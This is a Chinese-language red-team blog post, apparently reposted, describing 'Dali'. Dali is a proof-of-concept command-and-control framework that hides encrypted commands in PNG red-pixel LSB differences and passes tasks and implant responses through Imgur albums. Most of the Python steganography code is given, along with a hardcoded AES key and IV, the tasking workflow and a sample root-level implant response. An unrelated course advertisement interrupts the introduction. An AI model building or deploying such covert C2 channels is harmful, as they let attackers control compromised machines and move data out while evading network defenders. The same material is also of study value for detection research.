12.28 獨闢蹊徑,Python打造新型基於圖像隱寫術的C2通道

0x00 前言

在11月下旬,我決定啟動一個既有趣又有實際意義的項目,嘗試提出了一種具有獨特性的C2通道概念證明,其中涉及到隱寫術和某種可信域名,而不再使用定製的基礎結構。在我的研究過程中,廣泛參考了較大時間跨度的許多紅隊資料,並從中收穫了一些高級的概念。目前我們知道,網絡中有一些代理工具或植入工具需要執行任務,並且需要將數據以隱蔽的方式發送回服務器。而這正是我們本次研究的重點。

​很多人學習python,掌握了基本語法過後,不知道在哪裡尋找案例上手。

很多已經做案例的人,卻不知道如何去學習更加高深的知識。

那麼針對這三類人,我給大家提供一個好的學習平臺,免費領取視頻教程,電子書籍,以及課程的源代碼!

我首先研究了與可信Web應用程序、可信域名相關的開源C2通道概念,並從中找到了許多不錯的項目,例如Slackor、gcat和twittor。

然後,我明確了此次研究的目標:

1、打造一個有意思的工具;

2、創造一種獨特的隱寫術方法;

3、通過圖像的方式傳遞任務與響應;

4、應用程序中不包含隨機的Base64字符串轉儲;

5、使用可信的域名;

6、使用Python腳本來模擬代理工具或植入工具(我計劃在明年完成Windows漏洞利用和原理研究後,再編寫合適的植入工具)。

以上就是我們的目標,我們接下來就開始整個的研究過程。

0x01 選擇一個受信任的域名

經過一些研究之後,我選擇了Imgur平臺。Imgur具有一些優勢,我們可以匿名上傳圖像,也可以匿名創建臨時站點訪問者無法查看的相冊。

但是,這個平臺具有一個明顯的缺點,匿名上傳的圖像無法在“圖庫”中建立索引並進行搜索。這也就意味著,要完成任務,我們必須對框架中“傳遞任務”的一方進行身份驗證。我們會在後面完成這一實現。實際上,我們可以使用多種不同的方法來進行配置,在這裡我研究的方法也許不是最佳方案,大家可以基於此再展開深入的研究。

0x02 打造新型隱寫方法

2.1 常規思路,使用Alpha通道值

這一步驟,是我花費時間最多的步驟。要將JPEG文件上傳至Imugr往往不是很可靠, JPEG格式的照片因為壓縮的問題,無法保證其二進制完整性。經過一些研究,我發現PNG文件中除了Red、Green和Blue之外,還包含第四個像素值,稱為“Alpha通道”。這個Alpha通道值將確定該像素的不透明度。在我檢查的約30個PNG文件中,所有的Alpha通道值幾乎都設置為了255,因此,這似乎是我們用來隱藏數據的一個理想目標。

我想到的第一種方法是對一個字符串(例如一個命令)進行簡單地Base64編碼,然後在Python中對一個字典進行硬編碼,以便使所有可能的Base64字符都能充當鍵,並且可以對應於255-190之間的值。如果有分析人員手動檢查了像素數據,可能就會發現這一點不同尋常之處,因為通常情況下的Alpha值幾乎沒有變化。更簡單地說,在我的Python實現方案中存在一個巨大的錯誤,使我相信每次我打開PNG圖像時,Python庫PIL都會將Alpha通道值設置為255。因此,我放棄了這個方案,儘管這個方案除了會出現不同尋常的Alpha通道值之外,其他地方都很好。

接下來,還有一個選擇正確圖像尺寸的問題。Imgur允許不同的帳戶類型上傳不同大小的圖片,這一點進行了嚴格的限制。經過身份驗證的帳戶最大可以上傳5MB的PNG文件,而未經身份驗證的帳戶至多隻能上傳1MB的PNG文件,大於這個限制的圖片文件將會被轉換為JPEG格式。這樣的限制,使得我無法應用我最開始提出的方案。

2.2 探尋新思路,使用紅色數值的差異

最終,我想到了一種方法,該方法可以優先保證圖像看起來像是正常的,同時還可以最大程度減少要更改的像素值。具體原理如下。

2.2.1 像素

在使用PIL Python庫時,PNG像素值可以使用包含Red、Green、Blue和Alpha值的元組表示。利用這個庫,我們可以在元組列表中收集圖像的所有像素值。在2560×1440分辨率的圖像中,列表中有360萬個元素,每個元組都有四個值。元組列表類似於[(128, 0, 128, 255), (128, 0, 128, 255)…],這樣重複了360萬個元組。

2.2.2 利用思路

紅色像素值的範圍可以是0-255,之間,用二進制表示為00000000-11111111之間。我決定採用每個相鄰紅色像素的最低有效位的絕對差,並將8個值作為一組,形成一個新的二進制數值。接下來,我將詳細說明這種思路。

假設我們有兩個相鄰的紅色像素值128(二進制10000000)和128(二進制10000000),每個值的最低有效位是最右邊的數字,在這裡分別是0和0。那麼,0和0的絕對差顯然為0.因此,這種絕對差將構成我們新二進制數字的第一位。現在,我們得到的二進制數字是0xxxxxxx,我們將重複這一過程,每次都會向後計算接下來的兩個紅色值,最終獲得一個8位的二進制數字。如果說一張圖片中共有360萬個像素的話,那我們就可以攜帶((3686400/2)/8)=230400個有效值。

2.2.3 用上述方式表示Base64編碼

在有了8位二進制數字後,下一步就是以某種方式,將其轉換為有意義的數字。在這一步驟中,我們是通過使用一個硬編碼字典encode_keys來完成的,該字典如下所示:

<code>encode_keys = {'=': '00000001', '/': '00000010', '+': '00000011', 'Z': '00000100', 'Y': '00000101', 'X': '00000110', 'W': '00000111', 'V': '00001000', 'U': '00001001', 'T': '00001010', 'S': '00001011', 'R': '00001100', 'Q': '00001101', 'P': '00001110', 'O': '00001111', 'N': '00010000', 'M': '00010001', 'L': '00010010', 'K': '00010011', 'J': '00010100', 'I': '00010101', 'H': '00010110', 'G': '00010111', 'F': '00011000', 'E': '00011001', 'D': '00011010', 'C': '00011011', 'B': '00011100', 'A': '00011101', 'z': '00011110', 'y': '00011111', 'x': '00100000', 'w': '00100001', 'v': '00100010', 'u': '00100011', 't': '00100100', 's': '00100101', 'r': '00100110', 'q': '00100111', 'p': '00101000', 'o': '00101001', 'n': '00101010', 'm': '00101011', 'l': '00101100', 'k': '00101101', 'j': '00101110', 'i': '00101111', 'h': '00110000', 'g': '00110001', 'f': '00110010', 'e': '00110011', 'd': '00110100', 'c': '00110101', 'b': '00110110', 'a': '00110111', '9': '00111000', '8': '00111001', '7': '00111010', '6': '00111011', '5': '00111100', '4': '00111101', '3': '00111110', '2': '00111111', '1': '01000000', '0': '01000001'}/<code>

因此,例如我們的8位二進制數字是00000010,我們就能將其對應到Base64中的“/”字符。如果我們遍歷全部的紅色像素值,計算所有相鄰數值之間的差異,將這些差異值組合成8位二進制數字,並將這些二進制數字根據Base64字典做一一對應,我們便能夠得到最終所需的命令的Base64編碼字符串。實際上的代碼要稍微複雜一些,上述僅提供了工作原理的基本概念證明。

2.2.4 回顧

回顧一下,我們的隱寫術採用瞭如下方案:

1、獲得一個命令字符串,例如hostname,使用Base64對該字符串進行編碼。

2、現在,我們獲得編碼後的字符串aG9zdG5hbWU=。

3、如果我們使用字典對代碼進行替換,就可以得到需要在圖像中包含的對應二進制數值:

<code>encode_keys = {'=': '00000001', '/': '00000010', '+': '00000011', 'Z': '00000100', 'Y': '00000101', 'X': '00000110', 'W': '00000111', 'V': '00001000', 'U': '00001001', 'T': '00001010', 'S': '00001011', 'R': '00001100', 'Q': '00001101', 'P': '00001110', 'O': '00001111', 'N': '00010000', 'M': '00010001', 'L': '00010010', 'K': '00010011', 'J': '00010100', 'I': '00010101', 'H': '00010110', 'G': '00010111', 'F': '00011000', 'E': '00011001', 'D': '00011010', 'C': '00011011', 'B': '00011100', 'A': '00011101', 'z': '00011110', 'y': '00011111', 'x': '00100000', 'w': '00100001', 'v': '00100010', 'u': '00100011', 't': '00100100', 's': '00100101', 'r': '00100110', 'q': '00100111', 'p': '00101000', 'o': '00101001', 'n': '00101010', 'm': '00101011', 'l': '00101100', 'k': '00101101', 'j': '00101110', 'i': '00101111', 'h': '00110000', 'g': '00110001', 'f': '00110010', 'e': '00110011', 'd': '00110100', 'c': '00110101', 'b': '00110110', 'a': '00110111', '9': '00111000', '8': '00111001', '7': '00111010', '6': '00111011', '5': '00111100', '4': '00111101', '3': '00111110', '2': '00111111', '1': '01000000', '0': '01000001'}/<code>
<code>command = 'hostname' 

b64_command = base64.b64encode(command.encode())

binary_numbers = []
for x in b64_command.decode('utf-8'):
binary_numbers.append(encode_keys[x])

print(binary_numbers)/<code>

輸出結果:

<code>['00110111', '00010111', '00111000', '00011110', '00110100', '00010111', '00111100', '00110000', '00110110', '00000111', '00001001', '00000001']/<code>

4、要在圖像中包含這些數值,我們需要紅色像素值的最低有效位的絕對差值與之相匹配。例如,第一個數字00110111,我們需要保證前兩個紅色像素值相差為0。為了實現這樣的修改,最簡便的一種方法就是:如果相應位為0,則表示數字為偶數;如果為1,則表示數字為奇數。如果我們正在編輯的圖像中,前兩個像素紅色值分別為127和128,那麼就需要將第一個數字+1,或將第二個數字-1,以使最後一位的差值為0。

5、我們的代碼需要遍歷圖像中所有紅色像素LSB的差值,並將其添加到列表中。

6、接下來,我們將得到原始圖像每對紅色位之間的差值情況與我們所需紅色位的差值情況之間的不同。一旦我們確定需要修改哪對像素值,我們就可以隨機選擇是對兩個值中的任意一個進行+1或-1的操作。在這裡,我們儘可能保證這個過程是隨機化的,同時儘可能保證原始像素值不會有過多的改變。

7、在我們修改這些像素值之後,我們的圖像中就隱藏了我們的命令字符串,也就是完成了全部的準備工作。

2.2.5 代碼思路

在這一小節中,我將說明用於圖片隱寫術的實際Python代碼。為了簡單起見,我在這裡會略去不必要的細節,例如API Token等,我們將關注的重點放在隱蔽性上面。

我們已經有了原始的命令,然後需要對其填充,使其變為16的倍數。我意識到,如果使用while語句循環效率不高,因此我們使用了模數運算符號。

<code>command = 'hostname'
while len(command) % 16 != 0:
command += "~"/<code>

接下來,我們對一些加密密鑰進行硬編碼,並對字符串進行加密或Base64編碼。對密鑰進行編碼的過程不是很理想,我會在後續考慮改進,但對於概念證明來說,這部分代碼已經足夠了。

<code>key = 'dali melts clock'
iv = 'this is an iv456'
encryption_scheme = AES.new(key, AES.MODE_CBC, iv)
command = encryption_scheme.encrypt(command)

command_encoded = base64.b64encode(command)
command_encoded = command_encoded.decode("utf-8")/<code>

接下來,我們獲取圖像,並使用PIL庫中的Image對象創建紅色像素值列表。

<code>img = Image.open("example.png")
pixels = img.load()

reds = []
for i in range(img.size[0]): # for every pixel:
for j in range(img.size[1]):
reds.append(pixels[i,j][0])/<code>

現在,紅色像素值僅由十進制的0-255組成,我們需要將其轉換為二進制。

<code>bytez = []
for i in reds:
bytez.append('{:08b}'.format(i))/<code>

現在,我們可以從相鄰的兩個像素值中,減去所有這些八位二進制數值的最後一位,並遍歷整個紅色值列表,直到我們獲得一個僅包含LSB差異的新列表。

<code>differences = []
counter = 0
while counter < len(bytez):
differences.append(str(abs(int(bytez[counter][7]) - int(bytez[counter + 1][7]))))
counter += 2/<code>

接下來,我們需要將Base64編碼的命令轉換為我們encode_keys字典中的二進制數值。

<code>translation = []
for x in command_encoded:
translation.append(encode_keys[x])/<code>

現在,我們需要將這個新的8位二進制列表轉換為單個二進制數字列表,形式與上面的差異列表相同,以便我們可以將二者進行比較。

<code>final = [] 

for x in translation:
final += (list(x))/<code>

到這一步為止,差異(與圖像實際值的差異列表)以及最終圖像中所需的差異列表都是以相同形式表示的,我們可以對其進行比較,並創建一個新的索引列表,我們將二者之間的差異命名為mismatch。

<code>counter = 0
mismatch = []
while counter < len(final):
if final[counter] != differences[counter]:
mismatch.append(counter)
counter += 1
else:
counter += 1/<code>

現在,我們已經知道了需要修改的每個像素對的位置,因此可以更改原始紅色像素值列表中的像素對了。在這裡需要考慮兩種特殊情況,如果紅色像素值為255,那麼我們就無法將其+1,如果紅色像素值為0,那麼我們就無法將其-1。因此,需要做一個條件判斷:

<code>for x in mismatch:
if reds[x*2] == 0:
reds[x*2] = (reds[x*2] + 1)
elif reds[x*2] == 255:
reds[x*2] = (reds[x*2] - 1)
else:
reds[x*2] = (reds[x*2] + (random.choice([-1, 1])))/<code>

但是,我們的代理工具/植入工具如何知道應該在哪裡停止讀取像素值呢?我們仔細分析一下編碼的字典,發現沒有任何鍵是以1開頭的。因此,我們的代理工具/植入工具在讀取到1作為8位二進制數字的第一位時,就可以停止。那麼,我們就需要確保在命令Payload之後的第一個數字為1。為實現這一點,可以檢查絕對差,如果已經為1則不執行任何操作,否則對其中的一個數值進行+1操作,使絕對差變為1。

<code>terminator_index = len(command_encoded) * 8 * 2
term_diff = abs(reds[terminator_index] - reds[terminator_index + 1])
if term_diff % 2 == 0:
if reds[terminator_index] == 255:
reds[terminator_index] = 254
elif reds[terminator_index] == 0:
reds[terminator_index] = 1
else:
reds[terminator_index] = reds[terminator_index] + random.choice([-1,1])/<code>

最終,我們將像素值保存到我們實際創建的Image對象中。

<code>counter = 0
for i in range(img.size[0]): # for every pixel:
for j in range(img.size[1]):
pixels[i,j] = (reds[counter], pixels[i,j][1], pixels[i,j][2])
counter += 1/<code>

至此,我們的圖像已經保存了所需的紅色像素值,當客戶端查看紅色像素值的所有絕對LSB差異時,就可以得到我們的命令字符串。

0x03 Dali簡介

為了真正檢驗我的思路是否行之有效,我們必須構建一個實際的C2框架,在這裡我們重點說明最為關鍵的服務器端。Dali是以一位超現實主義畫家的名字命名,是一個基於Metasploit功能開發的命令行界面,具有以下功能:

1、使用隱寫術命令創建隱藏圖像;

2、創建相冊以便客戶端進行響應;

3、創建邏輯代理工具/植入工具實體,以進行任務管理;

4、創建或管理任務事件,從代理工具或植入工具中檢索信息並執行命令。

在這裡的任務活動,需要涉及到將圖像上傳到Imgur的過程。

Dali使用MySQL進行數據庫管理。需要說明的是,我們這裡提供的僅是演示用的PoC,在實際應用中可能還會出現一些BUG。具體使用方法如下。

下圖是對工作原理的概述。需要注意的是,我們在此過程中僅使用Python腳本來模擬客戶端,因此僅會對URL進行硬編碼。但這樣的過程仍然符合我們開篇時設定的目標,如圖所示:


0x04 使用Dali為植入工具創建任務

在這裡,我將逐步展示如何使用我們構建的Dali框架,為植入工具創建一個不需要經過認證、簡單進行響應的任務。

4.1 前置步驟

我們需要進行如下準備工作:

1、查閱Imgur API文檔並閱讀API應用程序的服務條款;

2、註冊我們的應用程序,並獲取Client-ID;

3、創建經過身份驗證的帳戶,並將其綁定到我們的API客戶端上以獲取Bearer令牌;

4、將MySQL配置為接受憑據登錄(原因在於,我們可以在Kali上以root用戶身份訪問MySQL,而並不意味著它已經配置)。

4.2 選項

如大家所見,我們可以選擇使用其中幾個不同的模塊,其功能描述請參考視頻。

演示視頻: https://asciinema.org/a/jQbdCGdCzZzDkIUNdNVjJ9YNw

4.3 創建相冊

我們可以創建兩種不同類型的相冊——已經認證的和未經認證的。對於來自客戶端的簡短響應,我們可以使用未經過認證驗證的身份,因為這會導致我們的PNG大小僅限制在1MB。如果我們希望得到較長的響應,可以使用經過身份驗證的相冊,最多可以支持5MB的PNG圖片。在演示中,我們將使用未經驗證的相冊。

我們將相冊類型設置為“未認證”,並且還提供了相冊的標題。然後,框架中也設置了在API使用選項中設置Client-ID值的選項。隨後,我們從發Imgur中得到了相冊ID哈希值以及相冊的delete-hash。通常情況下,delete-hash用於未經身份驗證的帳戶,以證明對Imgur上的照片具有所有權。

演示視頻: https://asciinema.org/a/YmyjgMgTPbOVHgKrvEuTGYM9b

4.4 創建圖像

現在,我們已經創建了相冊,可以創建圖像來實際上傳代理工具並執行特定任務了。我們可以在List模塊中查看該相冊的詳細信息。我們將在List模塊中獲取相冊ID,並使用它來配置我們的圖像。Dali將在MySQL中查找相冊ID,然後將相冊中來自Imgur的delete-hash附加到我們的命令字符串中,以便代理可以通過編輯該相冊的方式進行響應。其中的基礎圖像,就是我們要進行修改的圖像。而其中的命令,則是我們需要在代理工具上世紀執行的。

演示視頻: https://asciinema.org/a/hBNQIm7TpZjf1mSNAY5H76cje

4.5 創建代理

現在,我們已經創建了圖像,我們需要使用Agent模塊來創建邏輯代理工具實體以進行登記。代理必須設置有“Tittle and Tags”值,以便我們知道代理將在Imgur上搜索並執行任務的標題和標籤。我們還將確認圖像是否已經成功創建,並再次使用List模塊登錄到MySQL。

演示視頻: https://asciinema.org/a/xrdfzsnqmCh1e63fJkIi8SKuU

4.6 執行任務

接下來,就可以交給我們的代理工具來執行任務了。我們在這裡使用了一個簡單的Python腳本來模擬代理,該腳本會瀏覽我們上傳的圖像,並進行相應的響應。但是,我們仍然可以通過設置“Tittle and Tags”值來模擬創建任務的操作,假設我們的代理會根據自己的參數值來查找任務。Tasking-Image是創建圖像的ID。Bearer-Token是將圖片上傳到Imgur相冊所需的身份驗證令牌。

演示視頻: https://asciinema.org/a/JOQTAqAZJVcdsxheitwDw82K8

4.7 檢索響應

由於我們在發佈到Imgur的圖庫時已經經過身份驗證,因此我們可以上傳較大的PNG文件。但是,該代理工具無法使用相同大小的文件進行響應,因為在較短響應的模式下沒有進行身份驗證。在這種情況下,會將我們提供的圖像進行剪裁,變成1500×1500像素的圖像,並在其中編碼其響應內容,然後將響應圖像上傳到我們特地創建的未經身份驗證的相冊之中。在進入“響應”模塊之後,Dali將梳理MySQL中的PENDING任務並檢查相關的相冊。如果找到響應圖像,則刪除相冊中的原始任務,並在MySQL中記錄響應,最後將代理的狀態從TASKED變更為IDLE。

演示視頻: https://asciinema.org/a/Q5v6vsJWQsMtqRPOii4xpVCmp

由於無法從上面的視頻中看到代理響應的最上面內容,因此我以純文本的形式粘貼到這裡。

<code>Dali/Response> get response 1

---RESPONSE FROM AGENT 1 (received at: 2019-12-19 13:15:21)---

uid=0(root) gid=0(root) groups=0(root)
kali
PID TTY TIME CMD
1 ? 00:00:02 systemd
2 ? 00:00:00 kthreadd
3 ? 00:00:00 rcu_gp
4 ? 00:00:00 rcu_par_gp
--snip—/<code>

0x05 總結

如大家所見,我們最終成功地從代理中檢索到了Payload。實際上,進行方法探索和Deli框架搭建的過程非常有趣,我可能會在明年繼續不斷優化這一框架,打造更通用、更強大的功能。詳細信息請訪問Dali代碼庫,以查看更多信息。感謝大家的閱讀,祝大家新年快樂。


分享到:


相關文章: